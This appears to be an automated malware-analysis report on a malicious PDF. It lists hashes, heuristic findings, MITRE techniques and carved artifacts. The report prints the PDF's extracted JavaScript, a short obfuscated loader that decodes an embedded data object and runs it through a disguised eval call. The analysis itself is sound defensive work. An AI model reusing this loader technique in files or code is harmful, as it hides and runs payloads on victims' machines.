PDF malware analysis — malicious · b90a94814844c74c

MALICIOUS

PDF

4.6 KB First seen: 2013-08-13

MD5: 0d8e195a731214d7c7618549c44846f3 SHA-1: 035f6255edb41569f1ef2c46566316e67fe75013 SHA-256: b90a94814844c74c63c210df44c5629c081df5ea8accc67d574f5776b18aa14f

76 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1553.005 Mark-of-the-Web Bypass

The PDF file exhibits multiple indicators of malicious intent, including embedded JavaScript and an embedded binary file. The ML classifier strongly flags this PDF as malicious. The presence of these embedded artifacts indicates the document is likely intended to download and execute a second-stage payload.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0013.bin`	pdf-embedded-file	PDF EmbeddedFile object 13 at offset 0x482	79849 bytes
SHA-256: `cc60a37d4c5492219920384e1884460a4804785fdabca46b69af109bc849d017`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 101 long base64-like blob(s).
`javascript_obj0008_000.js`	pdf-javascript-stream	PDF /JS object 8 at offset 0x224	230 bytes
SHA-256: `30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e`
Preview script First 1,000 lines of the extracted script zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){ zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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